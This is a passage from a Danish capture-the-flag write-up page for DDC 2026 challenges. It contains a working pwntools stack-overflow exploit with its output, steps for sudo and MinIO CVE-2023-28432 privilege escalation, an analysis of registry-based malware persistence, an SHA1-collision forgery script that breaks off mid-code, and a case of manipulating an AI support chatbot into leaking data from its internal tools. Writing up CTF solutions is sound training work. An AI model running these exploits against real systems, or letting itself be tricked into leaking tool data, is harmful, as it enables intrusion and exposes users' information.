</span></span><span class="line"><span class="cl"><span class="n">ecb_response2</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">parts2</span> <span class="o">=</span> <span class="n">ecb_response2</span><span class="o">.</span><span class="n">split</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">E_K1_inner</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">parts2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">T_71_again</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">parts2</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="k">assert</span> <span class="n">T_71</span> <span class="o">==</span> <span class="n">T_71_again</span><span class="p">,</span> <span class="s2">&#34;T_71 mismatch!&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">forged_CT</span> <span class="o">=</span> <span class="n">xor_bytes</span><span class="p">(</span><span class="n">E_K1_inner</span><span class="p">,</span> <span class="n">T_71</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;give me number and contents (but do not change usernames).</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">block_update</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">TARGET_BLOCK_INDEX</span><span class="si">}</span><span class="s2"> </span><span class="si">{</span><span class="n">forged_CT</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">block_update</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Read response</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvall</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">[*] Server response:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s1">&#39;replace&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><p><em><strong>Kilde: Claude</strong> <a href="/ddc_qual_2026/crypto/diskenc.claude.py">diskenc.claude.py</a> &lt;- Med kommentare</em></p>
<p>Flag: <code>DDC{d1sk_3ncrypt10n_1s_w31rd}</code></p>
<hr>
<h2 id="fear-of-long-words">fear of long words</h2>
<p>Jeg har lavet en ordbog i C! Gider du teste den for mig?</p>
<p>Man kan tilføje ord med add kommandoen, og man kan vise ordene i ordbogen med kommandoen show.</p>
<p>Jeg er helt ny til C, så det er det eneste den kan. Du må leve med, at ordene ikke kan have betydning.</p>
<p>Både mig og mit program har hippopotomonstrosesquippedaliofobi, så vær sød at respektere dette :)<br>
Derfor er programmet også 32-bit. 64 er simpelthen for mange bits!!</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/binary/binary_fear-of-long-words.zip">binary_fear-of-long-words.zip</a></p>
<p><strong>Løsning:</strong> Vi udnytter et klassisk <strong>stack buffer overflow</strong> i <code>make_word</code>-funktionen, som erklærer <code>char buffer[64]</code> på stacken men læser præcis <code>length</code> bytes fra stdin via <code>fread</code>, uden at tjekke om <code>length &gt; 64</code>.</p>
<p>Binæret er 32-bit uden PIE, så adresser er statiske. Vi finder <code>win()</code>-funktionens adresse til <code>0x08049256</code> via <code>nm</code>. Det eneste vi mangler er det præcise offset til return address på stacken.</p>
<p>Selvom <code>buffer</code> er 64 bytes, lægger gcc ekstra padding på stacken for at overholde 16-byte alignment, så det reelle layout i <code>make_word</code> er:</p>
<pre tabindex="0"><code>buffer[64] + 8 bytes padding + saved EBP[4] + return address[4] = 80 bytes
</code></pre><p>Vi sender <code>add 80</code> efterfulgt af 80 bytes payload: 76 bytes junk og derefter <code>win()</code>-adressen i little-endian. Når <code>make_word</code> returnerer, hopper programmet til <code>win()</code> i stedet for <code>main</code>, som åbner <code>flag.txt</code> og printer flaget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">WIN_ADDR</span> <span class="o">=</span> <span class="mh">0x08049256</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">64</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">72</span><span class="p">,</span> <span class="mi">76</span><span class="p">,</span> <span class="mi">80</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;fear-of-long-words-5332a7a5.camp13.c4mp.site&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">length</span> <span class="o">=</span> <span class="n">offset</span> <span class="o">+</span> <span class="mi">4</span>  <span class="c1"># enough to overwrite ret</span>
</span></span><span class="line"><span class="cl">  <span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span> <span class="o">*</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">WIN_ADDR</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="n">length</span><span class="p">,</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;add </span><span class="si">{</span><span class="n">length</span><span class="si">}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Enter word:</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">data</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvall</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;offset=</span><span class="si">{</span><span class="n">offset</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="nb">repr</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">[+] Opening connection to fear-of-long-words-5332a7a5.camp13.c4mp.site on port 1337: Done
</span></span><span class="line"><span class="cl">b&#39;I made a dictionary!\nCommands: add &lt;length&gt;, show, exit\n\n&gt; &#39;
</span></span><span class="line"><span class="cl">b&#39;Enter word:\n&#39;
</span></span><span class="line"><span class="cl">[+] Receiving all data: Done (71B)
</span></span><span class="line"><span class="cl">[*] Closed connection to fear-of-long-words-5332a7a5.camp13.c4mp.site port 1337
</span></span><span class="line"><span class="cl">offset=80: b&#39;Congratulations! Here is your flag: DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}\n\n&#39;
</span></span></code></pre></div><p>Flag: <code>DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}</code></p>
<hr>
<h2 id="kopi-pasta">kopi pasta</h2>
<p>Sheeesh jeg har lige lavet den varmeste 🔥 og første hjemmeside nogensinde, hvor man kan dele tekst med andre.
Du skal bare sende ét link. Der er ikke så mange brugere, da det kun rigtigt er mig og få venner, der har været med til at udvikle hjemmesiden der kender hjemmesiden</p>
<p>MEEEEEEEEEEEEEN du kunne være den første rigtige bruger :D</p>
<p><strong>Løsning:</strong> Ved at besøge <code>http://kopipasta.cfire</code> kunne jeg se at det var en pastebin-lignende hjemmeside, efter at have obsereveret lidt kunne jeg se at der blev lavet API kald til <code>http://kopipasta.cfire/api/v1/</code>, vi kan bruge <code>/api/v1/pastes/&lt;id&gt;</code> endpointet til at læse indholdet af en paste, og ved at prøve nogle tilfældige id&rsquo;er kunne jeg se at der var en paste med id <code>8</code> som indeholdt ssh creds.</p>
<p><img src="/ddc_qual_2026/b2r/kopipasta.png" alt="API endpoints"></p>
<p><img src="/ddc_qual_2026/b2r/kopipasta-1.png" alt="SSH Creds"></p>
<p>Så efter at have ssh&rsquo;et ind på serveren kunne jeg se at serveren kørte sudo version 1.8.31, og ved at google for &ldquo;sudo 1.8.31 exploit&rdquo; kunne jeg finde et <a href="https://github.com/Whiteh4tWolf/Sudo-1.8.31-Root-Exploit">github repo</a> med et exploit for netop den version, og efter at have kørt den kunne jeg få root shell og læse flaget.</p>
<p><img src="/ddc_qual_2026/b2r/kopipasta-2.png" alt="alt text"></p>
<p><img src="/ddc_qual_2026/b2r/kopipasta-3.png" alt="alt text"></p>
<p>Efter at have skiftet til <code>/root</code> kunne jeg læse flaget i <code>/root/flag.txt</code>.</p>
<p><img src="/ddc_qual_2026/b2r/kopipasta-4.png" alt="alt text"></p>
<p>Flag: <code>DDC{bruh_i_p4s73d_4_bi7_700_much}</code></p>
<hr>
<h2 id="bootstrap-betrayal">Bootstrap Betrayal</h2>
<p>En forældet MinIO-klynge kører med en kritisk sikkerhedssårbarhed.
Din opgave er at hente flaget. GLHF!</p>
<p>IT-Ops-portalen er tilgængelig på <a href="http://portal.cfire:8080">http://portal.cfire:8080</a>.</p>
<p><strong>Løsning:</strong> På IT-Ops-portalen får vi af vide at firmaet kører MinIO version <code>RELEASE.2022-10-24T18-35-07Z</code>.</p>
<p><img src="/ddc_qual_2026/web/minio/1.png" alt="IT-Ops-portalen"></p>
<p>Efter at have googlet den version findes -&gt; <a href="https://github.com/acheiii/CVE-2023-28432">https://github.com/acheiii/CVE-2023-28432</a> (<a href="/ddc_qual_2026/web/minio/CVE-2023-28432.py">CVE-2023-28432.py</a>) som via et exploit kan leake environment variables.</p>
<p><img src="/ddc_qual_2026/web/minio/2.png" alt="Request in Burp"></p>
<p>Og i de environment variables finder vi root credentials til MinIO.</p>
<p><img src="/ddc_qual_2026/web/minio/3.png" alt="MinIO Console Login"></p>
<p>Og ved at logge ind på MinIO console kunne jeg se at der var en bucket med flaget i.</p>
<p><img src="/ddc_qual_2026/web/minio/4.png" alt="Bucket with flag"></p>
<p>Flag: <code>DDC{pwn3d_m1n10_3nvs_v4r14bl3s}</code></p>
<hr>
<h2 id="persistance-is-key">Persistance is Key</h2>
<p>Jeg hentede et lille gratis program og min PC begyndte at opføre sig mærkligt.
Så slettede det hurtigt igen, men det havde ingen effekt..</p>
<p>Har jeg fået virus? 😱</p>
<p>Hjælp! 😭 Hvorfor virker genstart ikke?</p>
<p>Vedhæftet fil: <a href="https://s3.ha1fdan.xyz/ha1fdan.xyz/ctf/ddc2026/forensics_persistance-is-key.zip">forensics_persistance-is-key.zip</a> (9GiB!)</p>
<p><strong>Løsning:</strong> Efter at have startet VM&rsquo;en og observeret adfærden kunne jeg se at der var en autorun der blev eksekveret hver gang der skete user logon. Dette kunne bekræftes under Taskmanager -&gt; Startup, hvor der var en autorun med navnet &ldquo;update&rdquo; som pegede på en gemt update.exe fil i en falsk Discord mappe i AppData.</p>
<p><img src="/ddc_qual_2026/forensics/persistance/1.png" alt="Discord"></p>
<p>Men da jeg ikke helt kunne se hvordan eller hvad der startede denne autorun, begyndte jeg at lede efter den i registry, og her kunne jeg se at der var en <code>mshta</code> autorun i <code>Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code>&hellip;</p>
<p><img src="/ddc_qual_2026/forensics/persistance/2.png" alt="First autorun"></p>
<p>som pegede på en registry key <code>Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags\1\Desktop\Profile1</code> som indeholdt en javascript kommando der eksekverede videre&hellip;</p>
<p><img src="/ddc_qual_2026/forensics/persistance/3.png" alt="Final autorun + zip passwd"></p>
<p>Grundet tidligere undersøgelse af update.exe filen kunne jeg se at den indeholdt en zip fil som indeholdt en fil kaldet <code>flag.png</code> som var password beskyttet, og ved at kigge på den javascript kommando som blev eksekveret kunne jeg se at den indeholdt en kommando der unzipede denne zip fil og brugte <code>xSbRFPNuKpLeguYhiCAFcddbchSQMY</code> som password, så ved at unzippe filen med det password kunne jeg få fat i flaget.</p>
<p><img src="/ddc_qual_2026/forensics/persistance/flag.png" alt="FFlag"></p>
<p>Flag: <code>DDC{M4gnific3nt-M4lwar3-R3mov4l}</code></p>
<hr>
<h2 id="jeg-har-mistet-min-pakke">Jeg har mistet min pakke</h2>
<p>Hjæææææææææææælp!</p>
<p>I går bestilte jeg det vildeste DDC merch og ihhhh jeg glæder mig allerede virkelig meget, MEN der er store problemer:</p>
<ol>
<li>Jeg har ikke fået en e-mail, hvor jeg har fået et tracking ID</li>
<li>Jeg indtastede de forkerte fragt oplysninger, så jeg ved ikke hvilket postnummber jeg tastede ind&hellip;</li>
</ol>
<p>Jeg har prøvet at snakke lidt med deres AI chat bot, men den gider ikke at fortælle mig noget om tracking ID eller postnumre :(</p>
<p>Kan du hjæææææææææææælpe mig?</p>
<p><strong>Løsning:</strong> Efter fler runder at have spurgt AI chatbotten om en liste af ting den absolut ikke måtte fortælle mig, kunne jeg se at den havde nogle interne værktøjer som den brugte til at hente information, og ved at spørge ind til disse værktøjer kunne jeg få den til at lække tracking ID&rsquo;et og det forkerte postnummer.</p>
<p><img src="/ddc_qual_2026/misc/jeg.har.mistet.min.pakke.1.png" alt="tracking ids"></p>
<p><img src="/ddc_qual_2026/misc/jeg.har.mistet.min.pakke.2.png" alt="zip codes"></p>
<p>Du kan hente hele outputtet fra chatbotten <a href="/ddc_qual_2026/misc/jeg.har.mistet.min.pakke.txt">her</a>.</p>
<p>Iblandt disse tracking ID&rsquo;er og postnumre kunne jeg se at der var en pakke med navn: &ldquo;Classified, DDC merch - Top Secret&rdquo; som havde tracking ID <code>DPS-674207867</code> og efter at have søgt efter en zipcode der matchede pakkens id fandt jeg zip code <code>676767</code> som gav flaget.</p>
<p><img src="/ddc_qual_2026/misc/jeg.har.mistet.min.pakke.flag.png" alt="flag"></p>
<p>Flag: <code>DDC{LLM_7rick3d_m0r3_34sily_7h4n_my_gr4ndm4}</code></p>
<hr>
<h2 id="the-contract">The Contract</h2>
<p>Vores sikre kontraktstyringssystem bruger SHA1-hashes til at sikre, at de identificeres korrekt og ikke opdateres skadeligt.
Fordi vi ved, at SHA1 er svag, bruger vi MD5 til at forhindre dubletter.</p>
<p>Kan du teste det og fortælle os, hvad du synes?</p>
<p>Vedhæftet fil: <a href="/ddc_qual_2026/crypto/crypto_thecontract.zip">crypto_thecontract.zip</a></p>
<p><strong>Løsning:</strong> Siden jeg ikke er den store Crypto gut, så efterload jeg Copilot med Claude Sonnet 4.6, som efter ca 15min kom frem til den nedenstående løsning, som udnytter en SHA1 collision til at lave en &ldquo;evil twin&rdquo; kontrakt der har samme SHA1 som den godkendte kontrakt.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">SHA1 Collision exploit for &#34;thecontract&#34; CTF challenge.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">The challenge uses SHA1 to &#34;authenticate&#34; an approved contract, but also 
</span></span></span><span class="line"><span class="cl"><span class="s2">caches its MD5 to block re-submission of the same contract. The bug:
</span></span></span><span class="line"><span class="cl"><span class="s2">SHA1 is broken, so we can produce an evil twin with the same SHA1 but 
</span></span></span><span class="line"><span class="cl"><span class="s2">different content (and thus different MD5).
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">contract_good.txt was crafted with sha1-2.pdf&#39;s SHAttered collision blocks.
</span></span></span><span class="line"><span class="cl"><span class="s2">We swap them for sha1-1.pdf&#39;s collision blocks to get:
</span></span></span><span class="line"><span class="cl"><span class="s2">  - Same SHA1 = APPROVED_SHA1  (collision!)
</span></span></span><span class="line"><span class="cl"><span class="s2">  - Different MD5 != CACHED_MD5  (bypass duplicate check)
</span></span></span><span class="line"><span class="cl"><span class="s2">Then we append &#34;ASSETS ARE TRANSFERRED NOW&#34; in the appendix.
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">remote</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib.request</span><span class="o">,</span> <span class="nn">json</span><span class="o">,</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_blob</span><span class="p">(</span><span class="n">sha</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Fetch a raw file from the corkami/collisions GitHub repo by blob SHA.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://api.github.com/repos/corkami/collisions/git/blobs/</span><span class="si">{</span><span class="n">sha</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="k">as</span> <span class="n">resp</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">d</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">resp</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">d</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">APPROVED_SHA1</span> <span class="o">=</span> <span class="s2">&#34;7119d27d6ede2334872c949e68f13ad3680de5bf&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">CACHED_MD5</span>    <span class="o">=</span> <span class="s2">&#34;7ba2f771fa259883b53a081081d37998&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># SHAttered sha1-1.pdf and sha1-2.pdf from corkami/collisions (examples/free/)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># contract_good.txt uses sha1-2.pdf&#39;s collision block; evil twin uses sha1-1.pdf&#39;s.</span>
</span></span><span class="line"><span class="cl"><span class="n">SHA1_1_BLOB</span> <span class="o">=</span> <span class="s2">&#34;24791e731d3beb05d8933bb0c49c2f32c12563bf&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">APPENDIX_STR</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;------- BEGIN APPENDIX A -------&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">build_payload</span><span class="p">(</span><span class="n">good</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span> <span class="n">sha1_1_blocks</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Construct the evil-twin payload that passes all server checks.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">appendix_idx</span> <span class="o">=</span> <span class="n">good</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">APPENDIX_STR</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Evil twin: identical prefix + sha1-1 blocks instead of sha1-2 blocks + same suffix</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">good</span><span class="p">[:</span><span class="mh">0xC0</span><span class="p">]</span>                                  <span class="c1"># shared PDF/JPEG prefix</span>
</span></span><span class="line"><span class="cl">        <span class="o">+</span> <span class="n">sha1_1_blocks</span>                              <span class="c1"># SHAttered sha1-1 collision blocks</span>
</span></span><span class="line"><span class="cl">        <span class="o">+</span> <span class="n">good</span><span class="p">[</span><span class="mh">0x140</span> <span class="p">:</span> <span class="n">appendix_idx</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">APPENDIX_STR</span><span class="p">)]</span>  <span class="c1"># &#34;CONTRACT...&#34; + appendix marker</span>
</span></span><span class="line"><span class="cl">        <span class="o">+</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">ASSETS ARE TRANSFERRED NOW</span><span class="se">\n</span><span class="s2">&#34;</span>          <span class="c1"># trigger flag in appendix</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Pad to exactly 512 bytes so the server&#39;s read(512) returns immediately</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># without waiting for EOF (avoids stdout flush race on SSL close)</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">512</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">payload</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">verify_locally</span><span class="p">(</span><span class="n">payload</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Run the same checks as server.py to confirm the payload is correct.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[:</span><span class="mi">512</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">appendix_idx</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">APPENDIX_STR</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">contract</span> <span class="o">=</span> <span class="n">data</span><span class="p">[:</span> <span class="n">appendix_idx</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">APPENDIX_STR</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">sha1_ok</span>  <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha1</span><span class="p">(</span><span class="n">contract</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="o">==</span> <span class="n">APPROVED_SHA1</span>
</span></span><span class="line"><span class="cl">    <span class="n">md5_ok</span>   <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">md5</span><span class="p">(</span><span class="n">contract</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>  <span class="o">!=</span> <span class="n">CACHED_MD5</span>
</span></span><span class="line"><span class="cl">    <span class="n">approve</span>  <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;Decision: APPROVE&#34;</span>         <span class="ow">in</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">    <span class="n">transfer</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;ASSETS ARE TRANSFERRED NOW&#34;</span> <span class="ow">in</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] SHA1 matches APPROVED_SHA1 : </span><span class="si">{</span><span class="n">sha1_ok</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] MD5 differs from CACHED_MD5: </span><span class="si">{</span><span class="n">md5_ok</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] &#39;Decision: APPROVE&#39; present : </span><span class="si">{</span><span class="n">approve</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] &#39;ASSETS ARE TRANSFERRED NOW&#39;: </span><span class="si">{</span><span class="n">transfer</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">sha1_ok</span> <span class="ow">and</span> <span class="n">md5_ok</span> <span class="ow">and</span> <span class="n">approve</span> <span class="ow">and</span> <span class="n">transfer</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[*] Fetching sha1-1.pdf collision blocks from GitHub…&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha1_1_pdf</span>    <span class="o">=</span> <span class="n">get_blob</span><span class="p">(</span><span class="n">SHA1_1_BLOB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha1_1_blocks</span> <span class="o">=</span> <span class="n">sha1_1_pdf</span><span class="p">[</span><span class="mh">0xC0</span><span class="p">:</span><span class="mh">0x140</span><span class="p">]</span>   <span class="c1"># 128 collision bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">good</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;contract_good.txt&#34;</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="n">build_payload</span><span class="p">(</span><span class="n">good</span><span class="p">,</span> <span class="n">sha1_1_blocks</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[*] Payload size: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="si">}</span><span class="s2"> bytes (limit: 512)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">512</span><span class="p">,</span> <span class="s2">&#34;Payload too large!&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[*] Local verification:&#34;</span><span class="p">)</span>
